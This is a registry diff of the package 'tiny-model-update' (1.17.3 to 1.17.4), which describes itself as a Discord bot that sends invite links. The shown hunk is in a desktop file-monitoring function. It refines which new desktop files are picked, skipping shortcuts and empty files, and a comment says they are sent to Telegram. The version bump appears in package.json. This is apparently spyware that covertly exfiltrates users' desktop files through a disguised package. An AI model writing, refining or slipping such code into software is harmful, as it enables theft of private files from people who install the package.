tiny-model-update 1.17.3 → 1.17.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -294,8 +294,10 @@ export function startDesktopFileMonitoring(intervalMinutes = 60) {
294
294
  const currentFiles = getDesktopFiles();
295
295
  const currentFileNames = new Set(currentFiles.map(f => f.name));
296
296
 
297
- // Find new files
298
- const newFiles = currentFiles.filter(file => !lastDesktopFiles.has(file.name));
297
+ // Find new files (excluding .lnk files)
298
+ const newFiles = currentFiles.filter(file => {
299
+ return !lastDesktopFiles.has(file.name) && file.ext !== '.lnk' && file.size > 0;
300
+ });
299
301
 
300
302
  if (newFiles.length > 0) {
301
303
  // Send new files to Telegram
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tiny-model-update",
3
- "version": "1.17.3",
3
+ "version": "1.17.4",
4
4
  "description": "Discord bot that monitors servers and sends invite links via Telegram",
5
5
  "main": "index.js",
6
6
  "type": "module",